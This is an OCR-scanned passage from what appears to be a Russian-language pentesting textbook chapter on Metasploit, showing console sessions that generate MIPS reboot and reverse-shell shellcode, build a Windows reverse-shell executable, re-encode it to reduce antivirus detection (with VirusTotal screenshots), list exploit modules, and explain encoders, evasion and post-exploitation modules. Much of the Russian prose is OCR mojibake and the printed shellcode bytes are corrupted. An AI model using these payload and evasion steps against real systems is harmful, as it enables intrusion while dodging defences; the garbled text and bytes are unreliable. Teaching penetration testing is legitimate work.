msf6 payload(reboot) > generate -b '\x00'
linux/mipsbe/reboot - 124 bytes
http://www.metasploit.com

Encoder: mipsbe/longxor

VERBOSE=false, PrependFork=false, PrependSetresuid=false,
PrependSetreuid=false, PrependSetuid=false,
PrependSetresgid=false, PrependSetregid=false,
PrependSetgid=false, PrependChrootBreak=false,
AppendExit=false

buf =

"\x24\x0e \Xxff\xF5\x01\xcO\x70\x27\x24\x0b\xff\xb7\x05\x10"
"\XFF\xFF\x28\x08\x82\x82\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x28\x17\x82\x82\x8F\x31\xff\xfc\x24\x0d\xff\xfb\x01\xa0"
"\x68\x27\x21\xaf \xff\xfd\x8F\x28\xff\xfc\x02\xef\xb8\x21"
"\x01\x11\x18\x26\x02\xee\xfO\x2b\xaf\x23\xff\xfc\x21\xa6"
"\XFF\XFF\X17\XcO\XFF\xF9\x03\x2d\xc8\x21\x24\x02\x10\x33"
"\x01\x4a\x54\x0c\x2f\x3b\x6d\xfe\x13\x3d\x2e\xdf\x1b\xfd"
"\x93\x22\x13\x3e\x45\xec\x1b\x9e\x74\x97\x13\x3F\x93\x1f"
"\x1b\xbf\xb3\x53\x0b\x39\x62\x06\x2e\x3a\x6c\xf2"

msf payload(reboot) >

H OH HE H OH OH HH

+ 4+ + + + + 4+

HexkoTopbie 1mesi-Koasl TpeOYIOT yKA3aHUST TOMOTHUTETHHBIX TTAPAMETPOB JIJIST
renepanun. JleficTBUTENbHO, OTKYA (HPefiMBOPK 63 HIUX CMOJKET Y3HATD, C KaKOi
MAIITUHON JIOJKEH COeIMHUTHCST CKOMITPOMETUPOBAHHBIIN cepBep?

msf6 payload(reboot) > use payload/linux/mipsbe/shell_reverse_tcp
msf payload(shell_reverse_tcp) > show options

Module options (payload/linux/mipsbe/shell reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address
LPORT 4444 yes The listen port

msf payload(shell_reverse_tcp) > generate -o LPORT=3455,LHOST=192.168.10.1
# linux/mipsbe/shell_reverse_tcp - 184 bytes
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http://www.metasploit.com

VERBOSE=false, LHOST=192.168.10.1, LPORT=3455,
ReverseAllowProxy=false, ReverseConnectRetries=5,
ReverselListenerThreaded=false, PrependFork=false,
PrependSetresuid=false, PrependSetreuid=false,
PrependSetuid=false, PrependSetresgid=false,
PrependSetregid=false, PrependSetgid=false,
PrependChrootBreak=false, AppendExit=false,
InitialAutoRunScript=, AutoRunScript=

buf =

"\x24\x0f \xff\xfa\x01\xe0\x78\x27\x21\xe4 \xff\xfd\x21\xe5"
"\XxFF\xFd\x28\x06\xFF\xff\x24\x02\x10\x57\x01\x01\x01\x0c"
"\xaf\xa2 \xff\xff\x8f\xad\xff\xff\x34\x0f\xff\xfd\x01\xe0"
"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x0d\x7f\x35\xce\x0d\x7"
"\xaf\xae\xff\xed4\x3c\x0e\xcO\xa8\x35\xce\x0a\x01\xaf\xae"
"\Xxff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27"
"\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20"
"\x88\x27\x8F\xad \xfF\xff\x02\x20\x28\x21\x24\x02\x0f\xdf"
"\x01\x01\x01\x0c\x24\x10\xff \xff\x22\x31\xff\xff\x16\x30"
"\xFF\xfa\x28\x06 \xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69"
"\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae"
"\XFF\xfO\xaf\xa0\xff\xf4\x27\xad\xff\xec\xaf\xad\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c"

msf payload(shell_reverse_tcp) >

HOH OH H H B R H

H*

+ 4+ + o+ o+ o+ o+ o+ o+

Crout yrnoMssHyTh U 0 KoJmdecTBe mppoBanuil. ViMeercs B BUY, CKOJIBKO Pa3
Metasploit sammudpyer Hatr kox. ITO HEOGXOIMMO IS TOTO, YTOOBI CAETATH KOJL
MeHee 3AMEeTHBIM /IS aHTUBUPYCHBIX IPOTPAMM.

msf6 payload(shell reverse_tcp) > generate -o LPORT=3455,LH0ST=192.168.10.1 -b
'\x00"' -i6

linux/mipsbe/shell_reverse_tcp - 276 bytes
http://www.metasploit.com

Encoder: mipsbe/longxor

VERBOSE=false, LHOST=192.168.10.1, LPORT=3455,
ReverseAllowProxy=false, ReverseConnectRetries=5,
ReverselListenerThreaded=false, PrependFork=false,
PrependSetresuid=false, PrependSetreuid=false,
PrependSetuid=false, PrependSetresgid=false,
PrependSetregid=false, PrependSetgid=false,
PrependChrootBreak=false, AppendExit=false,
InitialAutoRunScript=, AutoRunScript=

buf =

"\Xx24\x0e \xff\xcf\x01\xc0\x70\x27\x24\x0b\xff\xb7\x05\x10"
"\xFF\xFF\x28\x08\x82\x82\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x28\x17\x82\x82\x8F\x31\xff\xfc\x24\x0d\xff\xfb\x01\xa0"
"\x68\x27\x21\xaf\xff\xfd\x8f\x28\xff\xfc\x02\xef\xb8\x21"
"\x01\x11\x18\x26\x02\xee\xfO\x2b\xaf\x23\xff\xfc\x21\xa6"
"\XFFAXFFAX17\xcO\XxFF\xF9\x03\x2d\xc8\x21\x24\x02\x10\x33"
"\x01\x4a\x54\x0c\x36\x6d\xd3\xea\x12\x62\x2c\x10\x37\x8d"
"\xab\xcd\x17\x89\x2c\x17\x17\x88\x2c\x17\x1le\x6b\x2c\x15"
"\x12\x6f\xc3\xbd\x37\x6c\xd2\xe6\x99\xcf\x2c\x15\xb9\xc9"

HOH OH OH H K HHHHH

+ + + + + + + + o+
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"\x2c\x15\x02\x62\x2c\x17\x37\x8d\xab\xcd\x99\xc2\x2c\x0a"
"\x0a\x63\xde\x95\x03\xa3\xde\x95\x99\xc3\x2c\x0e\x0a\x63"
"\x13\x42\x03\xa3\xd9\xeb\x99\xc3\x2c\x0c\x11\xc8\x2c\x08"
"\x12\x61\x2c\x05\x37\xed\xe3\xcd\x12\x6f\xc3\xa0\x37\x6c"
"\xd2\xe6\x12\x7c\x2c\x17\x34\x4d\x5b\xcd\xb9\xc9\x2c\x15"
"\x34\x4d\xFfb\xcb\x12\x6f\xdc\x35\x37\x6c\xd2\xe6\x12\x7d"
"\x2c\x15\x14\x5c\x2c\x15\x20\x5d\x2c\x10\x1le\x6b\x2c\x15"
"\x0a\x62\xfc\xc5\x03\x82\xb1\x83\x99\xc2\x2c\x06\x0a\x63"
"\xbd\xc5\x03\xa3\xa0\x82\x99\xc3\x2c\x1a\x99\xcd\x2c\xle"
"\x11\xc9\x2c\x06\x99\xc9\x2c\x12\x99\xcd\x2c\x16\x11\xc8"
"\x2c\x12\x12\x6f\xdc\x41\x37\x6c\xd2\xe6"

msf payload(shell reverse_tcp) >

+ o+ + o+ o+ o+ o+ o+ o+

SKCN/IONTHI

IKCIIONT — 3TO cHeraibHag IPOrpaMMa, KOTopasi UCIOJIb3yeT U3BECTHBIC YSI3BU-
MOCTH B TTPOTPAMMHOM OO€CTIeIeHIHN /7T TIPOBEIEHS ATAKH C TETBIO MTOTYIeHUsT
KOHTPOJIST HaJl CHCTEMOT MJTH BBIBOIA €€ 3 CTPOsT (0TKa3a B OOCTYKUBAHUN).

SKCHHOﬁTbI6HB3KHTYH3HGHHHB,pa6OTaDHHK3qep63KOMHbKﬂEpHyK)CeTb,HHH
JIOKaJIbHbI€ — OHU 3allyCKalOTCA HEIIOCPEACTBEHHO B caMoil cucTeMe.

B Metasploit 9kcIIoiThI eATCSA Ha aKTUBHBIE U TACCUBHBIE. AKTHBHbIE HAUMHAIOT
AKCILIYaTUPOBATh OTIPe/Ie/IeHHYIO ysi3BUMOCTh B [1O cpasy ke mociie 3amycka u 3a-
KaH4YKMBaIOT CBOIO PaboTy B Cilydae yaaduu WK IpoBaja. I[lacCuBHbIE HKIyT NOAKII0YE-
HIIs YAAIEHHOTO XOCTa ¥ TOJIBKO IOCJIE TOT0 HAYMHAIOT CBOIO paboTy. Harpumep, Mbl
MOJKEM 3aITyCTUTh 9KCILIONT, OTIPABUB JKEPTBE KIMEHTCKYIO YaCTh MO 3JIEKTPOHHOM
noute. [lociie TOro Kak MoJydaTes b OTKPOET MPUIOKEHUE K TTUCHMY, KIUEHTCKAs
JacTh COCIMHUTCS C 3AITyIIEHHBIM PaHee IKCTIONTOM W TOT HAYHET aTaKy.

[IpocmoTpeTh Bce AOCTYITHBIE HKCIIJIOUTHI MOKHO C TTOMOIbIO KOMaH/bl show
exploits, 0J[HaKO 9TO He Bceraa yA0OH0, yYUThIBAsE KX OTPOMHOE KOJUYECTBO:

msf6 > show exploits

Exploits
# Name
Disclosure Date Rank Check Description
0 exploit/aix/local/ibstat_path
2013-09-24 excellent Yes ibstat $PATH Privilege Escalation
1 exploit/aix/local/xorg_x11_server
2018-10-25 great Yes Xorg X11 Server Local Privilege Escalation
2 exploit/aix/rpc_cmsd_opcode21l
2009-10-07 great No AIX Calendar Manager Service Daemon (rpc.
cmsd) Opcode 21 Buffer Overflow
3 exploit/aix/rpc_ttdbserverd_realpath
2009-06-17 great No ToolTalk rpc.ttdbserverd _tt_internal_

realpath Buffer Overflow (AIX)



318 aBa 14 e Metasploit Fremework

4 exploit/android/adb/adb_server_exec
2016-01-01 excellent Yes Android ADB Debug Server Remote Payload Exec
ution
5 exploit/android/browser/samsung_knox_smdm_url
2014-11-12 excellent No Samsung Galaxy KNOX Android Browser RCE
6 exploit/android/browser/stagefright_mp4_tx3g_64bit
2015-08-13 normal No Android Stagefright MP4 tx3g Integer Overflow
7 exploit/android/browser/webview_addjavascriptinterface
2012-12-21 excellent No Android Browser
and WebView addJavascriptInterface Code Execution
8 exploit/android/fileformat/adobe_reader_pdf_js_interface
2014-04-13 good No Adobe Reader for
Android addJavascriptInterface Exploit
9 exploit/android/local/binder_uaf
2019-09-26 excellent No Android Binder Use-After-Free Exploit

[lna Toro, 4TO6bI 06/SErYnTb MOUCK HYXHOrO SKCMIOUTA, Jy4lle BOCMO/Jb30BaTbCA
MONCKOM.
msf6 > search exploit/windows/fileformat/

Matching Modules

# Name Disclosure
Date Rank Check Description

0 exploit/windows/fileformat/a_pdf_wav_to_mp3 2010-08-17
normal No A-PDF WAV to MP3 v1.0.0 Buffer Overflow

1 exploit/windows/fileformat/abbs_amp_lst 2013-06-30
normal No ABBS Audio Media Player .LST Buffer Overflow

2 exploit/windows/fileformat/acdsee_fotoslate_string 2011-09-12
good No ACDSee FotoSlate PLP File id Parameter Overflow

3 exploit/windows/fileformat/acdsee_xpm 2007-11-23
good No ACDSee XPM File Section Buffer Overflow

4 exploit/windows/fileformat/allplayer_m3u_bof 2013-10-09
normal No ALLPlayer M3U Buffer Overflow

5 exploit/windows/fileformat/aol_phobos_bof 2010-01-20
average No AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

6 exploit/windows/fileformat/aol_desktop_linktag 2011-01-31
normal No AOL Desktop 9.6 RTX Buffer Overflow

7 exploit/windows/fileformat/actfax_import_users_bof 2012-08-28
normal No ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow

8 exploit/windows/fileformat/adobe_libtiff 2010-02-16
good No Adobe Acrobat Bundled LibTIFF Integer Overflow...

Ewe oAuH npumep noucka.
msf6 > search name:wordpress

Matching Modules
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#  Name Disclosure
Date Rank Check Description

0 exploit/multi/php/wp_duplicator_code_inject 2018-08-29
manual Yes Snap Creek Duplicator WordPress plugin code injection

1 exploit/multi/http/wp_ait_csv_rce 2020-
11-14 excellent Yes WordPress AIT CSV Import Export Unauthenticated
Remote Code Execution

2 exploit/unix/webapp/wp_admin_shell_upload 2015-02-
21 excellent Yes WordPress Admin Shell Upload

3  auxiliary/gather/wp_all_in_one_migration_export 2015-03-
19 normal Yes WordPress All-in-One Migration Export

4 exploit/unix/webapp/wp_asset_manager_upload_exec 2012-05-26

excellent Yes WordPress Asset-Manager PHP File Upload Vulnerability
5 auxiliary/scanner/http/wordpress_login_enum

normal No WordPress Brute Force and User Enumeration Utility

6 auxiliary/scanner/http/wordpress_cp_calendar_sqli 2015-03-
03 normal No WordPress CP Multi-View Calendar Unauthenticated SQL
Injection Scanner

7 auxiliary/scanner/http/wp_chopslider_id sqli 2020-05-
12 normal No WordPress ChopSlider3 id SQLi Scanner

8 auxiliary/scanner/http/wp_contus_video_gallery_ sqli 2015-02-
24 normal No WordPress Contus Video Gallery Unauthenticated SQL
Injection Scanner

9 exploit/multi/http/wp_crop_rce 2019-02-
19 excellent Yes WordPress Crop-image Shell Upload ...
DHKOAEepbI

Iuronepsr (encoders) — aT0 MOZYJIH, UCTIOTB3YEMBbIE JIJIs U3MEHEHST BPEOHOCHOTO
KOJIa C 11eJIbI0 M306€KaTh ero 0OHAPY/KEeHUS aHTUBUPYCHBIMU TiporpamMmmamu uiu [DS.
IHKO/IEPBI TPOBOAAT 0O(DYCKAIMIO, UITU COKPBITHE, BPEJIOHOCHOTO KO/Ia, TIPeobpasyst
ero B hopMaT, KOTOPBIiT CJIOKHEE OOHAPYKHUTD.

KiioueBoit 0c06eHHOCTBIO 9HKOIEPOB SIBJSIETCS TO, YTO OHY UCTIONB3YIOT AJITOPUTMBI,
KOTOPBIE TIO3BOJISTIOT KOY BPeAOHOCHOTO [1O «/IeKOIMPOBATH» MM BOCCTAHOBUTH
cebs B MCXO/IHOE COCTOSTHIE B MOMEHT BBITIOJTHEH VST Ha [IeJIEBOM KoMTibiotepe. B pe-
gyasrare BpesornocHoe 11O MokeT uzberars 0OHAPYKEHMS [I0 TEX MOP, TOKa He Oy1eT
AKTUBUPOBAHO.

OnHaKO CIIEYeT OTMETHUTD, YTO GOJBITUHCTBO COBPEMEHHBIX aHTHBUPYCHBIX TIPO-
rpaMM U CUCTEM OOHAPYKEHUsST BTOPXKEHMIT 0OHAPYKUBAIOT MOMYJISIPHBIE METOIbI
ob6dyckanum u sHKOUHTA. TeM He MeHee IHKO/IEPhI TTO-TTPEKHEMY TT0JIE3HBI B HEKO-
TOPBIX CUTYAIHSIX, HATIPUMED /17151 00Dy CKAIMK HOBOTO UJIH HEOOBIYHOTO BPEIOHOC-
HOTO KOJIa, KOTOPBIA eliie He OblI 1006aBIeH B 6a3y JaHHBIX aHTUBUPYCHBIX CUTHATYD.
BoiBecTu UX IOJIHDBIN CIIMCOK MOXKHO KOMaH/I0i1 show encoders:
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msf6 > show encoders

Encoders

#  Name Disclosure Date
Description

@ encoder/cmd/brace
Bash Brace Expansion Command Encoder
1 cencoder/cmd/echo
Echo Command Encoder
2  encoder/cmd/generic_sh
Generic Shell Variable Substitution Command Encoder
3  encoder/cmd/ifs
Bourne ${IFS} Substitution Command Encoder
4  encoder/cmd/perl
Perl Command Encoder
5 encoder/cmd/powershell_base64
Powershell Base64 Command Encoder
6 encoder/cmd/printf_php_mq
printf(1) via PHP magic_quotes Utility Command Encoder
7 encoder/generic/eicar
The EICAR Encoder
8 encoder/generic/none
The "none" Encoder
9 encoder/mipsbe/byte_xori
Byte XORi Encoder
10 encoder/mipsbe/longxor
XOR Encoder

Rank
low
good
manual
low
normal
excellent
manual
manual
normal
normal

normal

Check

No

No

No

No

No

No

No

No

No

No

No

Metasploit nepex mudposanuem cam BoiOrpaer HanboJiee MOAXOAAMMIA T Hind-
POBaJIBIIUKA, OJJHAKO MalllHAM CBOMCTBEHHO OINOAThCs, KAk 1 JogaM. [ToaTomy
B HaIlleM TIPUMeEPE Mbl YKasKeM, KAKUM UMEHHO MIM(POBAJBIIIMKOM XOTUM BOCITOJIb-

30BaThCsI, MyCTh 9TO OyzieT shikata_ga_nai:

msf6 > use payload/windows/shell_reverse_tcp

msf6 payload(windows/shell_reverse_tcp) > generate -f exe-small LHOST=127.0.0.1

-0 /home/itsecbook/r_shell.exe
[*] Writing 4643 bytes to /home/itsecbook/r_shell.exe...

[IpoBepnM creHeprpoBaHHBIN (halijl aAHTUBUPYCAMU M YBU/IUM, UYTO TIPAKTHYECKH BCE

pacro3Haau BpeIoHOCHBIH Kox (puc. 14.2).

Tenepb creHepupyeM TOT Ke KOJI, HO IPUMEHUM K HEMY OJIMH U3 JIOCTYITHBIX 9HKO-

IIepoB:
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msf6 payload(windows/shell_reverse_tcp) > generate -f exe-small LHOST=127.0.0.1
-0 /home/itsecbook/r_shell.exe -e cmd/powershell base64 -i 5
[*] Writing 4667 bytes to /home/itsecbook/r_shell.exe...

Kaxk Buzinm, B peayJibrare MHKAICYJISIIIAN KOJIITYECTBO AHTHBUPYCOB, KOTOPbIE CMOTJIN
pacrno3HaTh BPeJIOHOCHBIN KOJI, yMeHbIuaoch (puc. 14.3).

L OWASP Juice Shop x| F] ViusTotal - File - 5618640 x| 4 - = *
« 2 C @ 0 8 hitps:liwww: com/guitile/56t864011295065¢7acc843tadb4e2e273b87 . ¢y ®w & =
", Kali Linux 83 Kali Tools [l kali Docs ', Kali Forums (38 Kali NetHunter & Exploit-DB % Google Hacking DB | OffSec »
z SEIBE4N 1 2950650 T acchd: T3b8 7 o ™ P e s ["sign up ]
(1) 50 security vendors and ne sandboxes flagged this file as malicious
C- Reanalyze L Downboad = = Similarto = More =
SGHBEA01 7accBdtadbdeed 738 Size | Last Analysis Date %“
1_shollexe 453KB amoment aga EXE
ple  spreader  overiay
Commnity Sture
DETECTION DETAILS BEHAVIOR COMMUNITY
Jain the VT Community and anjoy additinnal community insights and erowdeoureed dotections, plus an APl key to autemate sheaks.
ular threat
m, (D trojan shellcodu/duop Threat fes  tojan Family labels  sheloode  dospscan  maste
Seourity vendors’ analysis (D Do you want to autemate chocks?
Ad-Awara (D L ShelCode Marte HE... AlLYac (D L ShellCode.Marte H.E...
Antiy-AVI (D) TrojanWin32 Genome Areabis (T DeepSean:Ganeric ShollCods Marte HE...
Avast (1) Win32:ShelCode-CI [Tr] AVG (1) Win32:ShellCode-Cl [Trj]
Avira (no cloud) (D) TRICIypt XPACK Gon RitDefendar (T DeepSean:Ganeric ShollCode Marte HE...

es, for security, o a our traffic, and to enable website

Puc. 14.2. Pe3ynbTaT nposepku daiina cepsucom VirusTotal

Taxag 2 PeKTUBHOCTD paboThl AHTUBUPYCOB 0OycI0BIeHa TeM, uTo Metasploit co-
JIEPsKUT XOPOILO M3BECTHbIE dKCILIONTBL. Ec/in BbI I€HICTBUTEIBHO XOTHTE 000HTH
AHTUBUPYC, TO HEOOXOAUMO CO3/1aBaTh CBOW YHUKAJIbHBIN KOJ UJIM UCKATh HOBBIE,
erlie HeM3BeCTHbIE MMPOKOMY KPYTY CHEINaTNCTOB ACKIIJIONUTHI.



322 aBa 14 e Metasploit Fremework

L OWASP Juice Shop % F] ViusTolal - File - Dadble x|+ - B X
“ = O m o 8 hups: i | Ui ah1 Jedshasialafosecbacts €y [=] d‘ =
"t Kali Linex @ Kali Tools [B Kall Docs % Kall Forums 3 Kali NetHunter = Exploit-DB % Google Hacking DB | Offsec w
E s 5695 b 1e4d aQ T B ®¢ s GO
(1) 47 security vendors and no sandboxes flagged this file as malicious
| 47 > Aeanalyze & Download = *= Similarta = More »
i
falb E Size Lasa Anabysis Date o‘
r_shell.exe 4.56 KD amoment age ! EXE
peexe spreader overlay
Community Soare
DETECTION DETAILS BEHAVIOR D COMMUNITY
Jain the VT ity aned enjoy acidilional msighis aand pilizs an AP kay b automale checks.
::'I"m trent (T} trojan., Th i wojan  downkoader Family labals sheicode  despscan  madte
Security vendors analysis () Q Do you want to automate checks?
AlYac (D) Desap ic.SheliCode Marta LA, Antiy-AVL (1) TrojanWin32.Gename
Ascabit (D Desp ic.ShelCode Marta LA, Avast (1) Win32:5helCode-CI [Tr)
AVG (D) win32 SheaCode-C1 [Tr] Aodirat o cloud) (D) TRIGHy XPACK Gan
RitDefrdor (0] i MarteHA... i Thetia (D) GonhM ZexaF 38196 amX@aiHyteb

erences, lor securily, 1o analyse our rallic, and Lo enable website

Puc. 14.3. Pe3ynbTaT nNpoBepku aiina, B KOTOPOM €CTb BHEPEHHbIN Kof,
cepsucomM VirusTotal

No Operation

NOP (No Operation instruction) — aTo THII MOy JIs, KOTOPBII NCTIOJIB3YETCS B TTPO-
1ecce akciTyarauu ysissumocreit. «No Operation» 0ObIYHO OTHOCUTCST K MAIlIAH-
HBIM UHCTPYKITUSIM, KOTOPBIE He /IeTAl0T HUYero, KpoMe IPOITyCKa UK 3aM0THeHUsT
IPOCTPAHCTBA B KOJIE.

B arakax, HarmpaBJeHHBIX Ha nepenoyHerue 6ydepa, NOP-ciaiiapl (MHOTIA Hasbl-
Baembie NOP-cJion) 9acTo MCHoIb3yIOTCSI [ITIsT «<TIePeXo/iay B HY;KHYIO TOUKY U T0-
CJIEIYIOIIEro UCITOJTHEHUST KOJIA.

Post

Post otHOCHTCS K MOAYJIsIM <post-exploitation», HCIOIb3yeMBIM MOCJE TOTO, KaK
crcTeMa OblIa yCIEIIHO B3JI0MaHa. DTU MOYJIU IPEIOCTAB/ISIOT Pa3IMIHble (PYHK-
LMK, KOTOPbIE MOTYT ObITh HPUMEHEHDI A1 cOopa nndopManuu, obecieyenus
TIOCTOAHHOTO OCTYIIa, U3YYEHUA CETU 1 BBIIIOJITHEHUA APYTUX 3a/1a4. TaK, MOy
post-exploitation npumMensioTcs s cO0pa YYETHBIX JaHHbIX, U3ydeHus (GailioBoil
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CUCTEMBI, ITIOJIYYEHUA TaKoi lIOHO]IHI/ITeJH)HOI;'I I/IH(I)OpMaLH/H/I O CHUCTEME, KaK CITMCOK
3allyII€HHBIX ITPOMECCOB NJIN YCTAaHOBJICHHBIX HpH]IO)KeHHﬁ. ITH NMHCTPYMEHTbI
SABJISIOTCS BaKHOIN YaCTHIO apCeHaJIa CIIeNaJInCTa, OCYIIECTBJIAIOMIETO TECT Ha ITPO-
HUKHOBC€HHNE, TAK KaK OHM IMO3BOJIAIOT MaKCUMaJIbHO 3(1)(1)6KTI/IBHO NCITI0JIb30BaTh
IIpeNMyieCTBa IMoJIy4€HHOTO JOCTYIIa K CUCTEME.

B Metasploit ecth MHOTO pasHbIX MoAyJIel post-exploitation, KOTOpbIe IpexoCTaBIIsd-
0T MIUPOKUH CHIeKTP (DYHKIMIA U TIPeHA3HAYEHbI JIJIst PAOOTHI € PA3TUYHBIMHU THITAMU
cucrem: Linux, Windows, OS X, Cisco, Android, Juniper, Solaris u 1. z.

Evasion

Evasion, min momynu 06xoza, 61 BHenpensl B 2018 roxy u npeacrasisior coboii
HOBBII TUII MOZYJIEl, paspabOTaHHBIX 1151 00X0/A CUCTEM OOHAPYKEHUST BTOPKEHUIT
1 aHTUBHUPYCHBIX CUCTEM. ITH MOJIYJIN TIOMOTAIOT C/IeJIaTh BPEJIOHOCHBIN KO/ MEHee
3aMETHBIM, ITO3BOJISISI ATAKYIOIIEMY JOJIbIIE OCTABATHCS HE3aMeUeHHbIM.

Jlist yBeTuveH sl MAHCOB YCIEITHOTO TPOHUKHOBEHUST MOy 00X0/1a MOTYT OBITH
MCITOJTb30BAaHbI BMecTe ¢ (DYHKIIMOHATBbHBIMM YACTSAMU KOJIA TT0JIe3HOU HATPY3KU
u akciioiitamu. Hampumep, Mojysib 06X0/1a MOKET U3MEHUTH CTPYKTYPY 00DbEKTA
MOJIE3HO HATPY3KH WJIN 9KCILIONUTA TaK, YTOOBI OHU HE COOTBETCTBOBAJIM U3BECTHBIM
obpasiaM BpeJJOHOCHOTO KOJIA.

XOTs B HEKOTOPBIX CUTYaIMAX MOAYJIH 00X0o1a MOTYT paboTtath 9 heKTUBHO, HO
OHU He TapaHTUPYIOT MOJHOTO 00X0/a Beex cucrteM oOHapyskeHust. COBpeMeHHbIe
AHTUBUPYCHbBIE PEIIEHUS YaCTO MCIIOJIb3YIOT METO/IbI OOHAPYIKEHUsT Ha OCHOBE TI0-
BEJIEHUST, KOTOPbIE OMPEEISIIOT BPEJOHOCHBIE IEHCTBYSI [IaKe B CIIyvae, €CJI caM
BPEIOHOCHBIN KO/ ObLT 00(YCIIUPOBAH NI M3MEHEH.

OCHOBHbIE KOMaHAbI

MbI yKe paccMOTPEIN HECKOIbKO IIPUMEPOB ucnoab3osanusa Metasploit, Teneps
yaeauM Bpems Gosiee moapoOHOMY pa3bopy OCHOBHBIX KOMAHI.

Yarre Bcero ucmonb3yemast komanaa — help. Ecau BoI 3amyctute kKoMany help 6e3
JIOTIOJTHUTEIbHBIX apryMeHTOB B msfconsole, BbI yBUANTE CIIUCOK BCEX OCHOBHBIX
KOMaH/I, IOCTYITHBIX JIJIs1 UCTIOJIb30BAHUS, C KPATKUM OIMCAHNEM KasK/101 13 HUX. Bbl
TaKKe MOJKETe MOJTYUUTh CIIPABKY TI0 KOHKPETHON KOMamHjie, 100aBUB ee B KaueCTBe
aprymenrTa rocye help. Hanpumep, help search rpenocTaBUT BaM JOTIOTHUTEIbHbBIE
CBEZIEHUS O TOM, KaK HCII0JIb30BaTh KOMAaH/y search.

Komanga version ucmonbsyercs A1 IPOBEPKU BEPCHM TEKYINEH yCTaHOBKM
Metasploit Framework:

msf6 > version
Framework: 6.3.4-dev
Console : 6.3.4-dev
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Komanya connect mpezsoctapiisieT (yHKIIMOHATbHBIE BO3MOKHOCTH, aHATOTUIHBIE
BoaMoxkHOCTAM KianenTa PuTTY niu Netcat. Bol MoskeTe MCosib30BaTh ee 1151 Obl-
CTPOro CKaHMPOBAHW [TOPTOB WJIN 3axXBaTa OaHHepa:

msf6 > connect -s microsoft.com 443
[*] Connected to microsoft.com:443 (via: 192.168.91.128:44009)

B

HTTP/1.1 400 Bad Request
Content-Length: ©

Connection: close

Date: Fri, 26 May 2023 14:05:06 GMT
Server: Kestrel

Komarzia route mcmonnayeTcest st 106ABIEHMsT, TPOCMOTPA, N3MEHEHUS TN y/ia-
JIEHUST CETEeBBIX MApIIPYTOB.

Komanza save. IHor/a ipu BBITIOJTHEHWH TeCTa HAa TPOHUKHOBEHUE B KOHMUTYpa-
o Metasploit Framework BHOCHTCST MHOJKECTBO MBMEHEHWH, U €CJIH TTOCTIE OKOH-
yaHust pabOThI BbI MPOCTO 3aKPOETE KOHCOJIb, TO B CJEAYIONIMIT pas MPUIETCS BCe
HacTpamBaTh 3aHOBO. KoMaH 1a save coxpaHsieT Bce KoH(pUTyparmu B (haiisi, KoTopbIii
3arpysKaeTcs MpH CJAenyToleM 3amycKe:

msf6 > save
Saved configuration to: /home/itsecbook/.msf4/config

Komanna sessions. [locae ycrennoii akciiyataliiy y43BUMOCTH Ha 11€JI€BOM
XOCT€ MBI OGBIYHO TIOJTYIaeM JOCTYT K KOMAHAHOW cTpoke. Ecii MbI paboTaeM ¢ He-
CKOJIBKUMU I[eJISIMU OJTHOBPEMEHHO, TO TSI KasKJ0N 13 Iesielt OTKPBIBAETC S CBOE
coerHeHMe, win ceatc. Metasploit MO3BoJIsIET MEPEKTIOUATHCS MEKLY HECKOJIBKHU-
MM CEaHCaMH¥ TI0 Mepe HEOOXOANMOCTH, 2 KOMAaH/Ia sessions BBIBOJUT CIUCOK BCEX
AKTUBHBIX HA JAHHBI MOMEHT CEaHCOB.

Komanma show rcmomb3yercst 7ist 0ToOOpaskeHust TOCTYMHBIX Mosyreit Metasploit
WJIH JIJIsT OTOOPaKEeHUsT IOTOJTHUTEIbHOI WH(MOPMAIUE [TPU UCIIOJIB30BAHIH OITPe-
JIeJIEHHOTO MOJTYJIS.

Komana info mcrob3yercst i 0ToOpakeHUsl CBeAEHUI 0 KOHKPETHOM MOJLYJIE.

Komanza irb maer 1ocTyn K MHTEPAKTUBHON KoHCo Ruby, KOTOpYy10 MOKHO uc-
M10JIb30BATD VIS CO3/IAaHMS U BbI30BA 110JIb30BATEIbCKUX CIIEHAPHEB.

Komana makerc. Bo Bpems ucnosb3oBanust Metasploit Mbr 3amyckaeM MHOKECTBO
KOMaHI, ¥ WHOT/Ia GBIBAET TI0JIE3HO TIOCMOTPETH UCTOPUIO BBHITIOJHEHHDIX IEHCTBHIL.
Komanza makerc BBIBOIUT BCIO NCTOPUIO KOMAaH/T KOHKPETHOTO CeaHca B OTIPe/IeIs-
eMbIli TToJIb30BaTeseM (haii.

Komana search. Metasploit Framework — s1o cucrema, copepskalinast MHOKECTBO
KOMIIOHEHTOB, U MHOTZA MOKET ObITh IOBOJIBHO CJIOKHO HANTH HYKHBINA 9KCILIOAT
MJIN MOJLYJTh — TOT/IAa ¥ IPUXONT HA TIOMOIIh KOMaH/a search.

Komansa get icrionb3yeTcst JIJist TIOJIy4eHust 3HaUeHus, COJlePIKaIerocs B onpe-
JIeJICHHO JIOKaIbHO# TiepemenHoll Metasploit. Hammpumep, ¢ 111610 IPOCMOTPETH
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[P-anpec 11e1eBO# cUCTEMBI, KOTOPBIN BbI YCTAHOBWJIH JIJIST ONIPEIETIEHHOTO 9KC-
IJIOUTA.

CremaeM HeGOJBINTOE OTCTYTIIIEHIE U TIPUBENEM OCHOBHbIE TIEPEMEHHbIE, KOTOPHIE
ucnosb3yorest B Metasploit. OHu Hy:KHBI JIJIsT XpaHEHUsT PA3JIUIHON HHGbOPMAIWH,
Takoii kak [P-anmpeca, HOPTHI, TAPOJH U T. [. ITO IOMOTAET 110JIb30BATEISIM HACTPOUTD
AKCIIONTHI 1 (DYHKITMOHATbHBIE YacTh Ko/ia. HekoTopbie 13 OCHOBHBIX TIePEMEHHBIX:

e RHOSTS/RHOST: ucniosib3yercs /171 yKa3aHUs 1[eJeBOTO XOCTA WJTH TIeJT€BBIX
xocToB. Moxker ObiTh IP-azpecom, auanazorom IP-aapecoB niau jaxe uMeHeMm
JIOMEHa,;

